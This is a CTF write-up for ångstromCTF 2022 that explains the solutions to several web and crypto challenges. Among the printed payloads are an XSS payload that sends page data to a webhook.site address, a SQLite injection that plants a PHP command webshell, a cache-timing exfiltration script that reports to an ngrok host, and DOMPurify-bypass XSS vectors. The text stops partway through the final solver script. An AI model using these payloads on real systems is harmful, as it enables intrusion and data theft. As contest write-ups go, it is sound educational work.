This year, I participated in ångstromCTF 2022 with XxTSJxX, mainly solving web and crypto challenges, so I wrote some noteworthy writeups.

Web#

Xtra Salty Sardines#

From the title, it's obvious that this is an XSS challenge, and the main filter is as follows:

app.post("/mksardine", (req, res) => {
    if (!req.body.name) {
        res.status(400).type("text/plain").send("please include a name");
        return;
    }
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&")
        .replace('"', """)
        .replace("'", "'")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
    if (name.length === 0 || name.length > 2048) {
        res.status(400)
            .type("text/plain")
            .send("sardine name must be 1-2048 chars");
        return;
    }
    const id = genId();
    sardines[id] = name;
    res.redirect("/sardines/" + id);
});

It can be seen that the replace function only replaces the first occurrence, so by placing a few characters like &"';<> at the beginning, we can bypass it.

&"';<><script>fetch('/flag').then(r=>r.text()).then(t=>(new Image).src='https://webhook.site/5557e219-2121-4cd7-ac96-00b224261be2?flag='+t)</script>

<!-- actf{those_sardines_are_yummy_yummy_in_my_tummy} -->

Art Gallery#

const express = require('express');
const path = require("path");

const app = express();
const port = Number(process.env.PORT) || 8080;

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

It can be seen that it allows arbitrary LFI file reading. Testing reveals that ../.git/HEAD exists, so using git-dumper, we can try to download the entire repo:

git-dumper 'https://art-gallery.web.actf.co/gallery?member=../.git/' art

Then, checking the git log, we see a suspicious commit, so

git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
cat flag.txt
# actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

School Unblocker#

import express from "express";
import fetch from "node-fetch";
import path from "path";
import { fileURLToPath, URL } from "url";
import { resolve4 } from "dns/promises";

function isIpv4(str) {
    const chunks = str.split(".").map(x => parseInt(x, 10));
    return chunks.length === 4 && chunks.every(x => !isNaN(x) && x >= 0 && x < 256);
}

function isPublicIp(ip) {
    const chunks = ip.split(".").map(x => parseInt(x, 10));
    if ([127, 0, 10, 192].includes(chunks[0])) {
        return false;
    }
    if (chunks[0] == 172 && chunks[1] >= 16 && chunks[1] < 32) {
        return false;
    }
    return true;
}

const __dirname = path.dirname(fileURLToPath(import.meta.url));

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/proxy", async (req, res) => {
    try {
        const url = new URL(req.body.url);
        const originalHost = url.host;
        if (!isIpv4(url.hostname)) {
            const ips = await resolve4(url.hostname);
            // no dns rebinding today >:)
            url.hostname = ips[0];
        }
        if (!isPublicIp(url.hostname)) {
            res.type("text/html").send("<p>private ip contents redacted</p>");
        } else {
            const abort = new AbortController();
            setTimeout(() => abort.abort(), 3000);
            const resp = await fetch(url.toString(), {
                method: "POST",
                body: "ping=pong",
                headers: {
                    Host: originalHost,
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                signal: abort.signal,
            });
            res.type("text/html").send(await resp.text());
        }
    } catch (err) {
        res.status(400).type("text/plain").send("got error: " + err.message);
    }
});

// make flag accessible for local debugging purposes only
// also the nginx is at a private ip that isn't 127.0.0.1
// it's not that easy to get the flag :D
app.post("/flag", (req, res) => {
    if (!["127.0.0.1", "::ffff:127.0.0.1"].includes(req.socket.remoteAddress)) {
        res.status(400).type("text/plain").send("You don't get the flag!");
    } else {
        res.type("text/plain").send(flag);
    }
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

This challenge is an SSRF challenge, where the goal is to POST to 127.0.0.1:8080/FLAG. However, it blocks various IP bypass methods, and DNS rebinding doesn't work either. But it's easy to find that it accepts redirects, so giving a 302 redirect to /flag should work...?

Testing reveals that after the redirect, it becomes a GET request, so looking into the node-fetch source, we see that these lines are causing the issue. It forces the method to GET when encountering 303 or 301/302+POST. However, this part shows that it considers 307/308 as redirect status codes, so using a 307 or 308 redirect should get the flag.

https://httpbingo.org/redirect-to?url=http%3A%2F%2F127.0.0.1:8080%2Fflag&status_code=307

actf{dont_authenticate_via_ip_please}

Secure Vault#

const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

// environment config
const port = Number(process.env.PORT) || 8080;
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

const userInfo = {};
const jwtKey = Math.random().toString();

class UserStore {
    constructor() {
        this.users = {};
        this.usernames = {};
    }

    insert(username, password) {
        const uid = Math.random().toString();
        this.users[uid] = {
            username,
            uid,
            password,
            vault: "put something here!",
            restricted: true,
        };
        this.usernames[username] = uid;
        return uid;
    }

    get(uid) {
        return this.users[uid] ?? {};
    }

    lookup(username) {
        return this.usernames[username];
    }

    remove(uid) {
        const user = this.get(uid);
        delete this.usernames[user.username];
        delete this.users[uid];
    }
}

function escape(str) {
    return str
        .replaceAll("&", "&")
        .replaceAll('"', """)
        .replaceAll("'", "'")
        .replaceAll("<", "&lt;")
        .replaceAll(">", "&gt;");
}

const users = new UserStore();

app.use((req, res, next) => {
    try {
        res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
            algorithms: ["HS256"],
        });
    } catch (err) {
        if (req.cookies.token) {
            res.clearCookie("token");
        }
    }
    next();
});

app.get("/", (req, res) => {
    res.type("text/html").send(fs.readFileSync(path.join(__dirname, res.locals.user ? "authed.html" : "index.html"), "utf8"));
});

app.post("/register", (req, res) => {
    if (
        !req.body.username ||
        !req.body.password ||
        req.body.username.length > 32 ||
        req.body.password.length > 32
    ) {
        res.redirect(
            "/?e=" +
                encodeURIComponent("Username and password must be 1-32 chars")
        );
        return;
    }
    if (users.lookup(req.body.username)) {
        res.redirect(
            "/?e=" +
                encodeURIComponent(
                    "Account already exists, please log in instead"
                )
        );
        return;
    }
    const uid = users.insert(req.body.username, req.body.password);
    res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
    res.redirect("/");
});

app.post("/login", (req, res) => {
    const user = users.get(users.lookup(req.body.username));
    if (user && user.password === req.body.password) {
        res.cookie(
            "token",
            jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" })
        );
        res.redirect("/");
    } else {
        res.redirect("/?e=" + encodeURIComponent("Invalid username/password"));
    }
});

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.redirect("/");
});

app.get("/vault", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("Log in first");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.type("text/plain").send(user.restricted ? user.vault : flag);
});

app.post("/vault", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("Log in first");
        return;
    }
    if (!req.body.vault || req.body.vault.length > 2000) {
        res.redirect("/?e=" + encodeURIComponent("Vault must be 1-2000 chars"));
        return;
    }
    users.get(res.locals.user.uid).vault = req.body.vault;
    res.redirect("/");
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

This challenge is a JWT login service, where the goal is to become a non-restricted user to get the flag. Observing closely, if the username is toString or valueOf, and the password is undefined, it can bypass /login, and since uid is undefined, it naturally isn't a restricted user. However, testing reveals that the server doesn't respond because it only calls res.cookie() without res.send() or res.end(), causing it not to write a response back. I couldn't find a way to bypass this, so I had to look for other methods.

Another point is noticing that /delete can delete accounts, but JWT itself isn't a session, and without adding a timestamp, it's permanently valid. So using a deleted user's JWT token to log in makes users.get(res.locals.user.uid) return {}, allowing us to get the flag.

From the flag content actf{is_this_what_uaf_is}, it's clear that this is the intended solution, which is indeed a UAF.

No Flags?#

<?php session_start(); ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>No Flags?</title>
    <style>
        body {
            background-color: #f8bbd0;
        }

        h1, h2, li, input {
            color: #560027;
        }
        
        h1, h2 {
            font-family: sans-serif;
        }

        h1 {
            font-size: 36px;
        }

        h2 {
            font-size: 30px;
        }

        li, input {
            font-size: 24px;
            font-family: monospace;
        }

        input {
            background: none;
            border: 1px solid #880e4f;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <h1>List of Fake Flags</h1>
    <ul>
    <?php
        if (!isset($_SESSION["DBNAME"])) {
            $dbname = hash("sha256", (string) rand());
            $_SESSION["DBNAME"] = $dbname;
            $init = true;
        } else {
            $dbname = $_SESSION["DBNAME"];
            $init = false;
        }
        $pdo = new PDO("sqlite:/tmp/$dbname.db");
        if ($init) {
            $pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
        }
        if (isset($_POST["flag"])) {
            $flag = $_POST["flag"];
            $pdo->exec("INSERT INTO Flags VALUES ('$flag');");
        }
        foreach ($pdo->query("SELECT * FROM Flags") as $row) {
            echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
        }
    ?>
    </ul>
    <h2>Add a Fake Flag</h2>
    <form action="/" method="POST">
        <input type="text" name="flag" placeholder="flag...">
        <input type="submit" value="Add">
    </form>
</body>
</html>

A straightforward SQLite SQL injection, but the database is empty. Checking the provided Dockerfile, it's clear that RCE is needed:

FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

So, referring to the PayloadsAllTheThings payload, we can write a webshell to /var/www/html/abyss for RCE.

x');ATTACH DATABASE '/var/www/html/abyss/shell.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');----

# actf{why_do_people_still_use_php}

Sustenance#

const express = require("express");
const cookieParser = require("cookie-parser");
const path = require("path");

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const adminSecret = process.env.ADMIN_SECRET || "secretpw";
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

function queryMiddleware(req, res, next) {
    console.log(req.cookies)
    res.locals.search =
        req.cookies.search || "the quick brown fox jumps over the lazy dog";
    // admin is a cool kid
    if (req.cookies.admin === adminSecret) {
        res.locals.search = flag;
    }
    next();
}

app.use(cookieParser());

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/s", (req, res) => {
    if (req.body.search) {
        for (const [name, val] of Object.entries(req.body)) {
            res.cookie(name, val, { httpOnly: true });
        }
    }
    res.redirect("/");
});

app.get("/q", queryMiddleware, (req, res) => {
    const query = req.query.q || "h"; // h
    let status;
    if (res.locals.search.includes(query)) {
        status =
            "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
    } else {
        status = "failed";
    }
    res.redirect(
        "/?m=" +
            encodeURIComponent(
                `your search that took place at ${Date.now()} has ${status}`
            )
    );
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

This challenge is a front-end challenge, but no XSS method is apparent, so XSLeaks is the only option. Although the source shows that /s is used to set some cookies to achieve XSLeaks, that endpoint can only inject some cookie attributes, making CRLF injection impossible. Although I couldn't find the correct solution during the competition, I still solved this challenge using an unintended method.

The key is that the previous challenge, No Flags?, has RCE, and the domains of the two challenges are no-flags.web.actf.co and sustenance.web.actf.co, respectively, so they aren't separated by cache partitioning. Using the following function to determine timing can effectively check if a path has been visited:

async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}

So, using /q?q=actf{a or similar queries, it will redirect to /?m=your... URL. Since it has a fixed format, determining whether there is a cache can reveal the result of res.locals.search.includes(query). This is my complete exp:

// fetch('https://deelay.me/60000/https://picsum.photos/200/300')
const parsed = new URL(document.currentScript.src)

function rlog(...args) {
	console.log(...args)
	// navigator.sendBeacon(
	// 	parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),
	// 	JSON.stringify(args, null, 2)
	// )
	fetch(parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),{
		mode: 'no-cors',
		body: JSON.stringify(args, null, 2),
		method: 'post'
	})
}

function sleep(ms) {
	return new Promise(res => setTimeout(res, ms))
}
async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}
async function timeurlmean(u,n=4) {
	const vals = []
	let sum = 0
	let mn = 123
	for(let i=0;i<n;i++){
		const v = await timeurl(u)
		sum+=v
		if(v<mn){
			mn=v;
		}
		vals.push(v)
	}
	// return [sum/n,mn]
	return vals.sort((a,b)=>a-b)[2]
}

async function test(q) {
	win = open('https://sustenance.web.actf.co/q?q=' + encodeURIComponent(q), 'tmp', 'width=100,height=100')
	const t = Date.now()
	await sleep(35)
	win.close()
	const urls = []
	const ar = []
	for (let i = 0; i < 30; i++) {
		const t2 = t + i
		const u =
			'https://sustenance.web.actf.co/?m=your%20search%20that%20took%20place%20at%20' +
			t2 +
			'%20has%20succeeded%2C%20but%20please%20give%20me%20sustenance%20if%20you%20want%20to%20be%20able%20to%20see%20your%20search%20results%20because%20I%20desperately%20require%20sustenance'
		urls.push(u)
		const v=await timeurl(u)
		ar.push(v)
	}
	return Math.min(...ar)
	// rlog(`done-${q}`,Math.min(...ar),ar)
}
async function main(){
	// await test('actf')
	// await test('fasd')
	// await test('ytxz')
	// await test('actf{')
	// const chrs = 'abcdefghijklmnopqrstuvwxyz'
	const params = new URLSearchParams(location.search)
	const chrs = params.get('chrs')
	const prefix = params.get('prefix')
	// let flag = 'act'
	// for(const c of chrs){
	// 	await test(flag+c)
	// }
	const vals = []
	let mnv=100, ch
	for(const c of chrs){
		const v = await test(prefix+c)
		vals.push(v)
		if(v<mnv){
			mnv=v
			ch = c
		}
	}
	rlog(`result_${prefix}`, prefix + ch,mnv, vals)
	
}
main()
/**
 * goto https://no-flags.web.actf.co/abyss/shell35.php run this script
 * ht=`<script src="https://????.ngrok.io/exp2.js"></script>`
 * location.search='?cmd='+encodeURIComponent(`echo '${btoa(ht)}' | base64 -d > zxzx.php`)
 * 
 * then send https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{yummy_sustenance to the bot
 */


// actf{yummy_sustenance}

The usage method is to use a service like ngrok to make the file location publicly accessible, then create a file on No Flags? using the webshell to include it, and then submit URLs like https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{ to the bot to get the next character of prefix with high accuracy.

However, this unintended method doesn't actually require No Flags? because headless Chromium doesn't have cache partitioning!!! Testing with the ngrok domain also confirms that cache can be queried, which is amazing. There was a similar unintended issue in a previous CTF unintended.

Cliche#

This challenge can be summarized with this line of JS worth looking at:

document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));

The versions are DOMPurify 2.3.6 and marked 4.0.14.

It reverses the order of marked.parse and DOMPurify.sanitize, and the goal is to get XSS to steal cookies. DOMPurify is obviously hard to bypass directly because finding a bypass would mean discovering a 0day, so the key is how to use marked to turn DOMPurify sanitized safe HTML back into XSS.

My approach is simple: try to get < to appear in places where it won't be parsed as an HTML tag (e.g., <style>), and use some properties of markdown to get it out of the tag's content, thus achieving XSS.

My starting point is using [text](link 'title'), which is parsed as <p><a href="link" title="title">text</a></p>. Replacing the title with <style> becomes <p><a href="link" title="&lt;style&gt;">text</a></p>.

At this point, inserting < between <style> and </style> won't cause issues, but due to marked, it will still be escaped, so we need marked to recognize it as HTML: <pre>[text](link '<style>')<</style></pre>. However, this causes markdown not to be parsed, so reading the source code, we know that heading forces marked to enter parseInline, ensuring markdown is parsed: # <pre>[text](link '<style>')<</style></pre> -> # <pre>[text](link '<style>')<</style></pre>.

The next step is to turn the < character into XSS. A straightforward way is to use <img src=1 onerror=alert(1)>, but this causes <style> to disappear. This is because DOMPurify blocks content containing <[/\w] tags to prevent mutation XSS, even if it's plain text.

My way to bypass this is using HTML comments <!-- to prevent DOMPurify from blocking it, then inserting --> in an attribute followed by <img> to achieve XSS:

# <pre>[text](link '<style>')<!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre>

It becomes:

<h1 id="text"><pre><a href="link" title="&lt;style&gt;">text</a><!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre></h1>

This payload can actually be simplified to:

[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>

Later, I saw a much simpler solution on Discord:

<a title="a

<img src=x onerror=alert(1)>">yep</a>

Because markdown treats two consecutive newlines as a paragraph, the first half is wrapped in <p>, leading to XSS in the second half.

Crypto#

Vinegar Factory#

#!/usr/local/bin/python3

import string
import os
import random

with open("flag.txt", "r") as f:
    flag = f.read().strip()

alpha = string.ascii_lowercase

def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret

inner = alpha + "_"
noise = inner + "{}"

print("Welcome to the vinegar factory! Solve some crypto, it'll be fun I swear!")

i = 0
while True:
    if i % 50 == 49:
        fleg = flag
    else:
        fleg = "actf{" + "".join(random.choices(inner, k=random.randint(10, 50))) + "}"
    start = "".join(random.choices(noise, k=random.randint(0, 2000)))
    end = "".join(random.choices(noise, k=random.randint(0, 2000)))
    key = "".join(random.choices(alpha, k=4))
    print(f"Challenge {i}: {start}{encrypt(fleg + 'fleg', key)}{end}")
    x = input("> ")
    if x != fleg:
        print("Nope! Better luck next time!")
        break
    i += 1

This challenge is just a Vigenere cipher, but with some extra noise at the beginning, requiring a small brute force, then using the flag prefix to reverse the key for decryption.

from pwn import *
import string

alpha = string.ascii_lowercase


def decrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(c) - alpha.index(key[i])) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret


def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret


def find_key(ct_cand):
    try:
        return "".join(
            [
                alpha[(alpha.index(c) - alpha.index(d)) % len(alpha)]
                for c, d in zip(ct_cand, "actf")
            ]
        )
    except:
        pass


# io = process(['python', 'main.py'])
io = remote("challs.actf.co", 31333)
for _ in range(50):
    io.recvregex(r"Challenge \d+: ".encode())
    ct = io.recvlineS().strip()
    # io.recvuntil(b'Challenge ')
    # print(ct)
    lb_idxs = [i for i, c in enumerate(ct) if c == "{"]
    cands = [(i, ct[i - 4 : i]) for i in lb_idxs if i >= 4]
    print(len(cands))
    for i, c in cands:
        key = find_key(c)
        if not key:
            continue
        # print(c, key)
        msg = decrypt(ct[i - 4 :], key)
        if "fleg" in msg:
            msg = msg[: msg.index("fleg")]
            if msg.count("{") == 1 and msg.count("}") == 1:
                print(_, msg)
                io.sendline(msg.encode())
                break
    else:
        print("no found")

# actf{classical_crypto_is_not_the_best}

log log log#

from secrets import randbits
from flag import flag

flagbits = len(flag) * 8
flag = int(flag.hex(),16)

q = 127049168626532606399765615739991416718436721363030018955400489736067198869364016429387992001701094584958296787947271511542470576257229386752951962268029916809492721741399393261711747273503204896435780180020997260870445775304515469411553711610157730254858210474308834307348659449375607755507371266459204680043
p = q * 2^1024 + 1

assert p in Primes()

nbits = p.nbits()-1

e = randbits(nbits-flagbits)
e <<= flagbits
e |= flag

K = GF(p)
g = K.multiplicative_generator()
a = g^e

print(hex(p))
print(g)
print(hex(a))
print(flagbits)

The goal is to find $e$ such that $a \equiv g^e \pmod{p}$, which is a discrete log problem. The key is that the flag is only 880 bits, and $p-1=2^{1024}q$.

So, transforming the problem to $a^q \equiv (g^q)^e \pmod{p}$ and using the property that $g^q$ has an order of only $2^{1024}$, we can easily find $e \bmod{2^{1024}}$. Sage's built-in functions can handle this, and for the actual calculation, refer to Pohlig–Hellman.

from Crypto.Util.number import *

q = 127049168626532606399765615739991416718436721363030018955400489736067198869364016429387992001701094584958296787947271511542470576257229386752951962268029916809492721741399393261711747273503204896435780180020997260870445775304515469411553711610157730254858210474308834307348659449375607755507371266459204680043
p = q * 2 ^ 1024 + 1
K = GF(p)
g = K(3)
a = K(
    0xAF99914E5FB222C655367EEAE3965F67D8C8B3A0B3C76C56983DD40D5EC45F5BCDE78F7A817DCE9E49BDBB361E96177F95E5DE65A4AA9FD7EAFEC1142FF2A58CAB5A755B23DA8AEDE2D5F77A60EFF7FB26AEC32A9B6ADEC4FE4D5E70204897947EB441CC883E4F83141A531026E8A1EB76EE4BFF40A8596106306FDD8FFEC9D03A9A54EB3905645B12500DAEABDB4E44ADCFCECC5532348C47C41E9A27B65E71F8BC7CBDABF25CD0F11836696F8137CD98088BD244C56CDC2917EFBD1AC9B6664F0518C5E612D4ACDB81265652296E4471D894A0BD415B5AF74B9B75D358B922F6B088BC5E81D914AE27737B0EF8B6AC2C9AD8998BD02C1ED90200AD6FFF4A37
)

g ^= q
a ^= q
print(long_to_bytes(discrete_log(a, g, ord=2 ^ 1024)))

Prophet#

package main

import (
	"encoding/binary"
	"fmt"
	"math/rand"
)

func main() {
	flag := "actf{REDACTEDREDACTEDREDACTED!!}"
	rand.Seed(12345) // the actual seed is not 12345
	// drastically slow down naive brute force
	for i := 0; i < 100000; i += 1 {
		rand.Uint64()
	}
	for i := 0; i < 4; i += 1 {
		fmt.Printf("flag chunk: %d\n", binary.LittleEndian.Uint64([]byte(flag)[i*8:i*8+8])^rand.Uint64())
	}
	gap := 0
	for i := 0; i < 607; i += 1 {
		fmt.Println(rand.Uint64())
		for j := 0; j < gap; j += 1 {
			rand.Uint64()
		}
		gap = (gap + 1) % 13
	}
}

A Golang challenge, where the flag and some random numbers are XORed, and 607 outputs are given, skipping some outputs. The challenge clearly wants us to predict the random output, so we need to look at Go's source code.

The core is just src/math/rand/rng.go:238-252:

func (rng *rngSource) Uint64() uint64 {
	rng.tap--
	if rng.tap < 0 {
		rng.tap += rngLen
	}

	rng.feed--
	if rng.feed < 0 {
		rng.feed += rngLen
	}

	x := rng.vec[rng.feed] + rng.vec[rng.tap]
	rng.vec[rng.feed] = x
	return uint64(x)
}

It behaves like an LFSR, but with a single tap, and the tap itself moves. However, these aren't issues because rng.vec has only 607 states. Setting them as unknowns and simulating the output gives 607 linear equations, allowing us to solve for the states and reverse the decryption output.

In practice, testing shows that only when no states are skipped can we fully reverse all states, but in this challenge's context, it's enough to recover the decryption output. A small trick is to set the initial state to 100,000 rand.Uint64() states, making it easy to get the XOR output.

with open("chall.txt") as f:
    flagct = []
    for _ in range(4):
        flagct.append(int(f.readline().split(" ")[-1]))
    nums = list(map(int, f.readlines()))
rngLen = 607
rngTap = 273
tap = 0
feed = rngLen - rngTap
tap = (tap - 100000) % rngLen
feed = (feed - 100000) % rngLen
P = PolynomialRing(Zmod(2**64), "vec", rngLen)
gens = P.gens()
vec = list(gens)


def rand_uint64():
    global tap, feed
    tap -= 1
    if tap < 0:
        tap += rngLen
    feed -= 1
    if feed < 0:
        feed += rngLen
    x = vec[feed] + vec[tap]
    vec[feed] = x
    return x


polys = []
gap = 0
for _ in range(4):
    rand_uint64()
for i, num in enumerate(nums):
    polys.append(rand_uint64() - num)
    for _ in range(gap):
        rand_uint64()
    gap = (gap + 1) % 13
M, v = Sequence(polys).coefficient_matrix()
print(v.T)
A = M[:, :-1]
b = -M[:, -1]
tmp = A.solve_right(b).list()
for j, term in enumerate(v.list()[:-1]):
    i = gens.index(term)
    vec[i] = tmp[j]
# print(vec)

tap = 0
feed = rngLen - rngTap
tap = (tap - 100000) % rngLen
feed = (feed - 100000) % rngLen
for ct in flagct:
    print(int(int(ct) ^^ int(rand_uint64())).to_bytes(8, "little").decode(), end="")

# actf{i_c4n_f0rs33_th3_p4s7_t00_}

Strike-Slip Fault#

#!/usr/local/bin/python3

from Crypto.Util.number import getStrongPrime, long_to_bytes, bytes_to_long, inverse
from secrets import randbelow, token_bytes

print("Welcome to my super secret service! (under construction)")

BITS = 4096

p = getStrongPrime(BITS//2)
q = getStrongPrime(BITS//2)
n = p*q
phi = (p-1)*(q-1)
e = 65537

flag = [REDACTED]
m = bytes_to_long(flag+token_bytes(BITS//8 - len(flag) - 1))
c = pow(m,e,n)

print("Making sure nothing was tampered with...")
print("n =", n)
print("e =", e)
print("c =", c)

d = inverse(e, phi)
bits = list(range(d.bit_length()))
for i in range(3):
	d ^= 1 << bits.pop(randbelow(len(bits))) # these cosmic rays man...

ans = long_to_bytes(pow(c,d,n))
if ans.startswith(flag):
	print("Check passed!")
print(f"Check failed, {ans} does not start with the flag.")

This challenge involves $c \equiv m^e \pmod{n}$, and it uses a $d'$ with three flipped bits to decrypt $m'=c^{d'} \pmod{n}$.

Since only three bits are flipped, $d'=d \pm 2^a \pm 2^b \pm 2^c$. Substituting this into the original equation becomes:

However, we only know $m'$ and not $m$, so we can't do much with this equation. A small trick is to raise both sides to the $e$th power:

This leaves only $a, b, c$ as unknowns, but since $0 \leq a, b, c \le 4096$, brute-forcing requires $2^3 \times {4096\choose{3}} \approx 2^{36.4}$ attempts, which is feasible but challenging for a CTF.

A trick here is to move one $(c^e)^{\pm 2^a}$ to the other side:

Then, precompute the left side for $a \in [0, 4096)$ and brute-force $b, c$, reducing the attempts to $2 \times 4096 + 2^2 \times {4096\choose{2}} \approx 2^{25}$, which is manageable. This trick is essentially a Meet-in-the-middle attack (though not exactly in the middle...).

from Crypto.Util.number import *
from gmpy2 import powmod
from itertools import combinations, product
from tqdm import tqdm

n = 900070490622067320191637256322689412527951600989690014040742293402515652299807355416973524079799412242303695005849373445039400849591465597575071172369743191868426614517714438100741689051321511330353068870085391955380005924193452388879170080569217611534666723431228876665400462326676136834184598097637612462138913958737759322989904101853151206852072163254977079626441345648695044414743061561749348880019607938930572091154083635100263637181513759943165217032366307235262290149121982361740356299744695043277615922872281013512722579789196565526621382570308445038543830946971870143416647314522450656476380450926273955034941922166822345239863969969054173792809511555294506499479460733800203789975490744756171199513541914459052812970878813532508200185561086389173320140400837553390150640118664644728326976956623287728071670363574828765499081630098395101207132121557269428414754204021602411843144222862499913321787608802795431375613453451646357431858538087082423774836125541442108814662883958785416540932102786177408197877642161771714550028264013960050526390792232071691880271991611403599658754594252925331797512039370218705211962522382739680885820067113131946086305783275655204391316332325661610449937310593926456756974934432806107508584687
e = 65537
c = 785019041003063094605338644855048946920785904799316056061128856210648574008947823318103541165223596391441869599653542367469582749735833238881174760706303204193239490503494128261465176354669635814736470937192039240288549501040533102957388190144367063971050093258087028919607189745941929361743460532173075128757057170184845810592063392093611909588608434601111240804241210939629912198253922278311726074613374311364714503593835714701261515902458295964850200883428876941854713297600424159346665228238295844165261930957085099153766532230753418227132506795445835713828219025117217211988132423808868878491252074351084194298227654253015597086572860607173699553442586206642744564518363534136736457282374055689877416438808797889637908338960048452523853477755423540348739016013753910186174575168439451877576061110984631119994270572126858635951627682166569924669328090525845842805274374629938562576743743090674720310052196389604757172761607674745732712177986201837422518542301831341463977319044721933558836609327149863674429302791872305204502140781352055289953107204260973578971800635948027688728015052061073091633479965577903274852755170355267952134264963602557305761624298274953157061326235764865240265336589063356964395136173662984407099988044
ans = bytes_to_long(
